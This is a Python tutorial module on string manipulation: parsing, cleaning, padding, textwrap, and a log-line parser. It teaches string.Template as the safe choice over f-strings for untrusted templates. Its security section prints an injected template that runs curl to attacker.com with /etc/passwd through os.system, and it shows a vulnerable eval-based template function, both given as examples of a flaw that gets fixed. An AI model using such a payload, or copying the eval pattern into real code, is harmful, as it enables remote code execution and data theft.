Python · SQL · Web Dev · Java · AI/ML tracks launching soon — your one platform for all of IT
Beginner+150 XP

String Manipulation Deep Dive

Parsing messy real-world text, cleaning and normalising data, alignment and padding, textwrap, string.Template vs f-strings, and a full log-line parsing example.

45 min August 2026
// Part 01 — Building On Module 04

Beyond Indexing, Slicing, and f-strings

Module 04 covered string fundamentals in depth — indexing, slicing, immutability, the core methods, Unicode, encoding, and f-strings. This module assumes all of that is solid ground and does not re-teach it. What it covers instead is the layer above the fundamentals: what you actually do with strings once real, messy data is involved — parsing text into structured pieces, cleaning up the inconsistencies that real-world text always has, formatting output for humans to read, and one genuinely important security distinction that only matters once your program starts handling text it did not write itself.

If Module 04 was about the mechanics of a single string, this module is about strings as data — log lines, CSV-like text, user-submitted form fields, report output. This is also where Python string work starts to overlap meaningfully with the data-parsing skills used throughout data engineering, which is why nearly every example in this module uses text that looks like something a real production system would actually produce.

// Part 02 — Parsing Structured Text

Splitting on Multiple Delimiters, and a First Look at re.split

Module 04's .split() handles the simple case well — splitting on a single, consistent delimiter. Real-world text is rarely that clean. A single line might use commas in some places and semicolons in others, or mix single and multiple spaces inconsistently.

Where plain .split() falls short
line = "Denver, CO; 80202"

# .split(",") alone leaves the semicolon-separated part unsplit
parts = line.split(",")
print(parts)   # ['Denver', ' CO; 80202']

For a genuinely fixed, known set of delimiters, chaining .replace() calls to normalise everything to one delimiter before splitting is a perfectly reasonable, dependency-free approach.

Normalising delimiters, then splitting once
line = "Denver, CO; 80202"
normalized = line.replace(";", ",")
parts = [p.strip() for p in normalized.split(",")]
print(parts)   # ['Denver', 'CO', '80202']

Once the set of possible delimiters grows, or the pattern is more than a fixed list of literal characters (say, splitting on any run of whitespace, or any combination of commas and semicolons), that is precisely the point where re.split() from the re module becomes the right tool — it splits on a pattern rather than a literal string.

re.split() — a brief preview; full regex depth is Module 32
import re

line = "Denver, CO; 80202   99205"

# Split on a comma, semicolon, OR any run of whitespace, in one call
parts = re.split(r"[,;\s]+", line)
parts = [p for p in parts if p]   # drop any empty strings left behind
print(parts)   # ['Denver', 'CO', '80202', '99205']
💡 Note
This module deliberately keeps regex light — just enough to recognise re.split() as an option when plain .split()/.replace() genuinely cannot express what you need. Full regular expression syntax — character classes, groups, quantifiers, and the rest of the re module — gets its own complete treatment in Module 32, later in this track.
// Part 03 — Cleaning Messy Text

Whitespace, Control Characters, and Case Normalisation

Text pulled from files, form submissions, or copy-pasted user input is reliably messier than text you type yourself. Leading/trailing whitespace, stray tab or newline characters buried mid-string, and inconsistent casing are the three most common sources of bugs that look like "the data doesn't match" when the actual problem is invisible formatting.

.strip() handles more than spaces
raw = "  \t Denver \n"
print(repr(raw.strip()))
# 'Denver' — .strip() with no argument removes ALL leading/trailing whitespace:
# spaces, tabs (\t), and newlines (\n) — not just literal space characters.

# .strip() can also take an explicit set of characters to remove
messy = "***Denver***"
print(messy.strip("*"))   # "Denver"
A comparison bug caused entirely by invisible whitespace
user_input = "Denver "        # trailing space, easy to miss
if user_input == "Denver":
    print("Match")
else:
    print("No match")
# "No match" — the trailing space makes these two strings genuinely unequal

# The fix
if user_input.strip() == "Denver":
    print("Match")   # "Match"

Case is the second most common source of "matching" data that silently fails to match. "Denver" != "denver" — string comparison in Python is always case-sensitive. Whenever you are comparing user-facing text rather than an exact identifier, normalise the case on both sides first.

Normalising case before comparing
cities = ["Denver", "Austin", "Portland"]
user_input = "DENVER"

if user_input.lower() in [c.lower() for c in cities]:
    print("Found a match")   # "Found a match"
else:
    print("Not found")
⚠️ Important
.lower() is not always sufficient for text beyond plain English. As Module 04 covered when discussing Unicode, some characters have case-folding behaviour that .lower() does not fully capture (the German ß is the textbook example). For case-insensitive comparison across a wide range of languages, .casefold() is the more thorough option — it behaves like .lower() for plain English but handles these edge cases correctly.

Removing genuinely non-printable characters

Occasionally text arrives with actual control characters embedded in it — leftover artifacts from a scraped PDF, a malformed export, or a copy-paste from a terminal. These are invisible when printed but can break downstream parsing or storage.

Stripping non-printable characters
raw = "Denver\x00\x07 CO"   # contains a null byte and a bell character

cleaned = "".join(ch for ch in raw if ch.isprintable() or ch == " ")
print(cleaned)   # "Denver CO"
// Part 04 — Alignment and Padding

.ljust(), .rjust(), .center(), .zfill() — Fixed-Width Output

When you need output to line up visually — a plain-text report, a fixed-width export file, a console table — you need every field padded to a consistent width. These four methods exist specifically for that, and they come up constantly any time output needs to look tidy without pulling in a formatting library.

ljust, rjust, center — padding to a fixed width
print("Denver".ljust(12) + "|")     # "Denver      |"  — left-aligned, padded with spaces on the right
print("Denver".rjust(12) + "|")     # "      Denver|"  — right-aligned, padded with spaces on the left
print("Denver".center(12) + "|")    # "   Denver   |"  — centered, padded on both sides

# All three accept a custom fill character as a second argument
print("Denver".ljust(12, ".") + "|")   # "Denver......|"
A real use case — a fixed-width text report
rows = [
    ("Priya Nair", "Engineering", 118000),
    ("Wei Zhang", "Engineering", 121000),
    ("Alex Torres", "Sales", 95000),
]

for name, dept, salary in rows:
    print(name.ljust(15) + dept.ljust(14) + str(salary).rjust(8))

# Priya Nair     Engineering     118000
# Wei Zhang      Engineering     121000
# Alex Torres    Sales            95000
# Notice salary is right-justified — numbers conventionally align on the right
# so that the ones/tens/hundreds columns line up vertically, exactly like a spreadsheet.
.zfill() — zero-padding for numeric-looking strings
invoice_number = "42"
print(invoice_number.zfill(6))   # "000042"

# Genuinely common for IDs, invoice numbers, and codes that must always be a fixed width
order_id = f"ORD-{str(7).zfill(5)}"
print(order_id)   # "ORD-00007"
🎯 Pro Tip
For anything beyond simple fixed-width padding — controlling decimal places, thousands separators, or percentage formatting — f-string format specifiers (covered in Module 04 and Module 10) are usually the better tool: f"{salary:>10,}" right-aligns a number to width 10 and adds thousands separators in one step, something .rjust() alone cannot do.
// Part 05 — The textwrap Module

Wrapping Long Text to a Fixed Width

The standard library's textwrap module handles a genuinely fiddly problem correctly: taking a long, unbroken string and wrapping it to a maximum line width, breaking only at word boundaries rather than mid-word — something that is surprisingly easy to get wrong if you try to write it yourself with plain slicing.

textwrap.wrap() and textwrap.fill()
import textwrap

message = "The nightly reconciliation job failed because three transactions could not be matched against the payment processor's records."

wrapped_lines = textwrap.wrap(message, width=40)
for line in wrapped_lines:
    print(line)
# The nightly reconciliation job failed
# because three transactions could not be
# matched against the payment processor's
# records.

# textwrap.fill() does the same wrapping, but returns one single string
# with newlines already inserted, ready to print directly
print(textwrap.fill(message, width=40))
textwrap.shorten() — truncate with an ellipsis, cleanly at a word boundary
print(textwrap.shorten(message, width=50, placeholder="..."))
# "The nightly reconciliation job failed..."
# Note it truncates at a whole word, not mid-word — unlike message[:50]

This comes up constantly in real code that generates human-facing output — CLI tools printing help text or error messages to a terminal of unknown width, email or notification bodies that need to stay readable, or log summaries that must not blow past a fixed column limit.

// Part 06 — Templates and Untrusted Input

string.Template vs f-strings — A Real Security Distinction

F-strings are the right tool for the vast majority of string formatting in Python — but they have a property that is easy to forget matters: an f-string evaluates arbitrary Python expressions at the point it is written in your source code. That is completely safe when you write the template yourself. It stops being safe the instant the template text itself comes from somewhere you do not fully control.

Why an f-string cannot safely come from untrusted input
# NEVER do this — building an f-string dynamically from user-supplied text
user_supplied_template = "Hello {name}, your balance is {__import__('os').system('echo pwned')}"

# If this string were ever passed to eval() or exec() to be "evaluated as an f-string",
# it would execute the __import__('os').system(...) call — arbitrary code execution.
# f-strings are only safe because YOU wrote them as literal source code —
# the moment the template text itself is untrusted, this danger becomes real.

In practice, nobody dynamically eval()s a string as an f-string — but the underlying risk is real whenever your program lets an end user, a config file, or an external system define a message template that your code later fills in with values. For exactly this situation, the standard library provides string.Template, which supports simple $placeholder substitution and nothing else — no expression evaluation, no function calls, no attribute access. It cannot execute code, by design.

string.Template — safe substitution, no expression evaluation
from string import Template

# Imagine this template text came from a user-editable notification setting,
# stored in a database, not written by you in source code
user_template = Template("Hello $name, your order $order_id has shipped.")

message = user_template.substitute(name="Maria Gomez", order_id="ORD-1001")
print(message)
# "Hello Maria Gomez, your order ORD-1001 has shipped."

# Attempting to smuggle in an expression does nothing dangerous —
# it's just treated as literal, unrecognised text
sneaky_template = Template("Hello $name, here is a secret: ${__import__('os').system('ls')}")
# This raises a ValueError on unrecognized placeholder syntax, or substitutes
# it as plain text if it doesn't match Template's simple $identifier syntax —
# it never evaluates it as executable Python, unlike an f-string would.
⚠️ Important
The rule to internalise: if you are writing the template as literal source code and only the values being substituted in are untrusted (a user's name, an order ID), f-strings are completely safe — the values are just data, never re-interpreted as code. The risk only appears when the template text itself is not something you wrote — for example, a customizable email template stored in a database and editable by end users. In that specific case, use string.Template, not an f-string built dynamically from that text.
// Part 07 — Worked Example

Parsing a Messy Real-World Log Line

This example ties together nearly every technique from this module against one realistic target: a raw log line from a web server, in the kind of loosely-structured format real logging systems actually produce.

The raw input
log_line = "  2026-08-14T09:14:02Z   [ERROR]  api-gateway  ;  user_id=4821 ; message = Payment failed: card DECLINED  \n"

This single line has almost every real-world text problem this module has covered: leading and trailing whitespace, inconsistent spacing around delimiters, a mix of semicolons and key=value pairs, and a trailing newline. Parsing it into structured data means combining cleaning, splitting, and normalisation in sequence.

Step 1 — strip the outer whitespace and newline
line = log_line.strip()
print(repr(line))
# '2026-08-14T09:14:02Z   [ERROR]  api-gateway  ;  user_id=4821 ; message = Payment failed: card DECLINED'
Step 2 — split the timestamp, level, and service off the front
import re

# The first three fields are separated by runs of whitespace, not a single delimiter
header, rest = re.split(r"\s{2,}", line, maxsplit=1)[0], re.split(r"\s{2,}", line, maxsplit=1)[1]

# Actually cleaner: split the whole line on 2+ spaces first, since that's the consistent boundary
fields = re.split(r"\s{2,}", line)
timestamp, level, service, remainder = fields[0], fields[1], fields[2], fields[3]

level = level.strip("[]")   # "[ERROR]" -> "ERROR"
print(timestamp, level, service)
# 2026-08-14T09:14:02Z ERROR api-gateway
Step 3 — split the semicolon-delimited key=value section
# remainder is: " ;  user_id=4821 ; message = Payment failed: card DECLINED"
parts = [p.strip() for p in remainder.split(";") if p.strip()]
print(parts)
# ['user_id=4821', 'message = Payment failed: card DECLINED']
Step 4 — split each part into key/value, cleaning whitespace around =
parsed = {}
for part in parts:
    key, _, value = part.partition("=")
    parsed[key.strip()] = value.strip()

print(parsed)
# {'user_id': '4821', 'message': 'Payment failed: card DECLINED'}

.partition("=") is worth calling out — it splits on the first occurrence only, returning a 3-tuple of (before, separator, after). This matters here because the message value itself contains a colon ("Payment failed: card DECLINED") that must be preserved as-is, not accidentally split on. Had this used .split("=") instead and a value happened to contain an = character too, it would have split in the wrong place — .partition() avoids that entirely by only ever splitting once.

Putting it together — one function, the full parse
def parse_log_line(raw_line):
    line = raw_line.strip()
    fields = re.split(r"\s{2,}", line)
    timestamp, level, service, remainder = fields[0], fields[1].strip("[]"), fields[2], fields[3]

    parsed = {"timestamp": timestamp, "level": level, "service": service}
    for part in remainder.split(";"):
        part = part.strip()
        if not part:
            continue
        key, _, value = part.partition("=")
        parsed[key.strip()] = value.strip()

    return parsed

result = parse_log_line(log_line)
print(result)
# {'timestamp': '2026-08-14T09:14:02Z', 'level': 'ERROR', 'service': 'api-gateway',
#  'user_id': '4821', 'message': 'Payment failed: card DECLINED'}

The result is exactly the flat-dict-per-record shape from Module 13 — this parse_log_line() function is precisely the "normalize once, at the boundary" pattern from that module's Part 07, applied to text instead of nested JSON. Every other function that processes logs downstream can now work with clean dicts and never touch a raw log string again.

// Part 08 — Real World
💼 What This Looks Like at Work

An Atlanta Healthtech's Notification Template Incident

Scenario — Healthtech company, Atlanta · Security review finding

An Atlanta healthtech company lets clinic administrators customize the wording of automated appointment-reminder text messages through a settings page — administrators type something like "Hi {patient_name}, your appointment is on {appointment_date}." and the backend fills in the real values before sending.

The original implementation — flagged in a security review
def build_reminder(template_text, patient_name, appointment_date):
    return eval(f"f'{template_text}'")
    # The administrator's saved template_text gets evaluated as a live f-string,
    # meaning ANY Python expression inside it would actually execute.

What the security review finds

This is exactly the danger described in Part 06: template_text is not written by the engineering team as literal source code — it is saved by clinic administrators through a settings page, and a subset of clinic staff accounts have been shared or reused loosely enough that the reviewer treats this as a genuinely exploitable input, not a theoretical risk. A malicious or compromised administrator account could save a template like "{__import__('os').system('curl attacker.com/steal?data=' + open('/etc/passwd').read())}" and have it silently execute on the server the next time any reminder used that template — full arbitrary code execution, from a text field that was only ever supposed to hold a polite message.

The fix

The team replaces the eval()-based f-string trick with string.Template, exactly as covered in Part 06 — administrators now write $patient_name and $appointment_date instead of curly braces, and the substitution can never evaluate anything beyond simple placeholder replacement.

The fix — string.Template, incapable of executing code
from string import Template

def build_reminder(template_text, patient_name, appointment_date):
    template = Template(template_text)
    return template.safe_substitute(
        patient_name=patient_name,
        appointment_date=appointment_date,
    )

# Administrators now write templates using $patient_name and $appointment_date.
# safe_substitute(), unlike substitute(), leaves any unrecognized $placeholder
# untouched in the output instead of raising — a good fit for user-authored templates
# where a typo shouldn't crash the whole notification.

The broader lesson the team documents for future reviews: any time text that came from outside the codebase — a database field, a form submission, a config value a non-engineer can edit — is treated as a format string or a template, it needs the same scrutiny given here. F-strings, .format(), and especially eval() are for templates you write. string.Template is for templates someone else writes.

// Part 09 — Misconceptions

Four Misconceptions About String Manipulation

✕ "".strip() only removes literal space characters""
.strip() with no argument removes every kind of leading/trailing whitespace — spaces, tabs, and newlines alike. It only becomes literal-character removal when you explicitly pass a string of characters to strip, e.g. .strip("*"), in which case it strips any combination of exactly those characters from both ends.
✕ ""f-strings are always completely safe, no matter where the template text comes from""
F-strings are safe when you write them as literal source code — the expressions inside {} are fixed by you at write time. They stop being safe the moment the template text itself is dynamic and comes from an untrusted source (a database field, user input) and gets evaluated as an f-string, since f-strings can execute arbitrary expressions. That specific situation calls for string.Template instead.
✕ "".split("=") is always safe for parsing key=value text""
split("=") splits on every occurrence of "=" in the string, which breaks if the value itself legitimately contains an "=" character. .partition("=") splits only on the first occurrence, returning a clean (key, separator, value) 3-tuple regardless of how many "=" characters appear afterward in the value — the safer default for this exact parsing task.
✕ ""Wrapping long text to a fixed width is just slicing it every N characters""
Naive slicing (text[:40], text[40:80], ...) breaks words in the middle wherever a line boundary happens to fall mid-word. textwrap.wrap() and textwrap.fill() specifically break only at word boundaries, which is the behaviour anyone reading the wrapped text actually expects.
// Part 10 — Interview Prep

5 Interview Questions — With Complete Answers

When would you reach for re.split() instead of str.split()?
str.split() only splits on a single, fixed literal string (or on any whitespace, with no argument). re.split() splits on a regular expression pattern, which is necessary when the delimiter is not a single fixed string — for example, splitting on any combination of commas, semicolons, and repeated whitespace in one call, using a character-class pattern like [,;\s]+.
What is the security concern with building an f-string dynamically from external input, and what is the safer alternative?
An f-string evaluates arbitrary Python expressions at the point it is defined — safe when you write the template as literal source code, since the expressions are fixed. If the TEMPLATE TEXT ITSELF comes from an untrusted source (a database field a user can edit, for example) and is evaluated as an f-string, an attacker can embed arbitrary expressions, including code execution. string.Template is the safe alternative — it supports only simple $placeholder substitution and cannot evaluate expressions, function calls, or attribute access.
What is the difference between str.split("=") and str.partition("=") when parsing key=value text?
.split("=") splits on every occurrence of "=" in the string, producing more than two pieces if the value itself contains an "=" character — which silently breaks naive key, value = line.split("=") unpacking. .partition("=") splits only on the FIRST occurrence and always returns exactly a 3-tuple (before, separator, after), making it the safer choice when the value portion might legitimately contain the delimiter character.
What is the difference between .strip(), .lower(), and .casefold() when preparing two strings for comparison?
.strip() removes leading/trailing whitespace, which fixes comparisons broken by accidental padding. .lower() and .casefold() both normalize case, but .casefold() is more aggressive and correctly handles certain Unicode case-folding edge cases (like the German ß) that .lower() does not. For robust case-insensitive comparison across arbitrary text, .casefold() is the more correct choice; for plain ASCII text, they behave identically.
How would you pad a numeric ID to a fixed width with leading zeros, and how is that different from .rjust()?
.zfill(width) pads a string with leading zeros to reach the target width, and specifically handles a leading sign character correctly (e.g. "-5".zfill(3) gives "-05", not "0-5"). .rjust(width) pads with spaces (or a specified fill character) and has no special handling for a leading sign — .zfill() is purpose-built for numeric-looking strings like IDs, invoice numbers, and zip codes, while .rjust() is the general-purpose alignment tool.
// Common Mistakes

String Manipulation Mistakes Beginners Make Constantly

Comparing strings without stripping or normalising case first
user_input == "Denver" silently fails if user_input has trailing whitespace or different casing, even though the text "looks" identical when printed. Strip and normalise case on both sides before any comparison involving human-entered text.
Using .split("=") to parse a single key=value pair when the value might contain "="
key, value = line.split("=") raises ValueError: too many values to unpack the moment the value legitimately contains another "=" character. Use .partition("=") instead, which always returns exactly three parts regardless of how many "=" characters appear in the remainder.
Slicing text to a fixed length instead of using textwrap
text[:40] to "shorten" a string can cut a word in half mid-character, producing output that looks broken to a reader. textwrap.shorten() truncates cleanly at a word boundary and adds a placeholder like "..." automatically.
Evaluating externally-sourced text as a template with eval() or exec()
As shown in the Real World example, this creates a genuine code-execution vulnerability the moment the template text is not fully trusted. Use string.Template for any template whose text originates outside your own source code.
Assuming .lower() is always sufficient for case-insensitive matching
For plain English text it usually is. For text that may include other languages or certain special characters, .casefold() is the more correct and more thorough choice for comparison purposes.
// Error Library

Errors You Will Hit With String Parsing — And Exactly Why

ValueError: too many values to unpack (expected 2)
Cause: Using key, value = text.split("=") on text where the value portion contains more than one "=" character, producing more than two pieces from split().
Fix: Use .partition("=") instead of .split("="), which always returns exactly a 3-tuple (key, separator, value) by splitting only on the first occurrence.
KeyError: 'placeholder_name' (from string.Template.substitute)
Cause: Calling .substitute() with a template that references a $placeholder for which no matching keyword argument was supplied.
Fix: Either supply every placeholder the template references, or use .safe_substitute() instead of .substitute() — it leaves unmatched placeholders in the output as literal text instead of raising.
ValueError: Invalid placeholder in string: line 1, column 12
Cause: A string.Template contains a "$" character that is not part of valid $identifier or ${identifier} placeholder syntax — commonly a literal dollar sign meant as currency, like "$50".
Fix: Escape a literal dollar sign by doubling it: "Price: $$50" — Template treats "$$" as a literal single "$" in the output.
AttributeError: 'NoneType' object has no attribute 'group' (from a regex match)
Cause: Calling .group() directly on the result of re.search() or re.match() when the pattern did not actually match anything, since both return None on no match rather than raising.
Fix: Always check the match object before calling methods on it: match = re.search(pattern, text); if match: match.group(). This becomes second nature once Module 32 covers regex in full.
IndexError: list index out of range (after re.split or str.split)
Cause: Assuming a split operation always produces a fixed number of pieces, then indexing into a position that does not exist for a particular line that had fewer delimiters than expected.
Fix: Check len(parts) before indexing into a fixed set of positions, or use unpacking with a default fallback, especially when parsing real-world text where not every line is guaranteed to have the same shape.

🎯 Key Takeaways

  • For delimiters beyond a single fixed string, re.split() splits on a pattern — a light preview of the regex module covered fully in Module 32.
  • .strip() removes all leading/trailing whitespace (spaces, tabs, newlines) by default, or an explicit set of characters when given an argument.
  • Always normalise case (.lower() or the more thorough .casefold()) and strip whitespace before comparing human-entered text — invisible formatting differences are a constant source of "why doesn't this match" bugs.
  • .ljust(), .rjust(), .center(), and .zfill() produce fixed-width, aligned output for reports and IDs; f-string format specifiers handle more advanced formatting like thousands separators.
  • textwrap.wrap()/.fill() wrap long text at word boundaries, unlike naive fixed-length slicing, which can cut a word in half.
  • F-strings are safe because you write the template as literal source code. string.Template is the safe choice specifically when the template text itself comes from an untrusted source, since it cannot evaluate expressions or execute code.
  • .partition(sep) splits only on the first occurrence of a delimiter, returning a reliable 3-tuple — safer than .split(sep) for key=value parsing when the value might itself contain the delimiter.
  • Real-world text parsing is rarely one clean step — it is a short, deliberate sequence of cleaning, splitting, and normalising, each handling one specific kind of messiness.

What comes next

Module 15 moves from text you already have in memory to text (and binary data) that lives on disk — file handles, context managers, read/write modes, and the mistakes that cause silent data loss.

Module 15 → Reading & Writing Files
Share

Discussion

0

Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.

Continue with GitHub
Loading...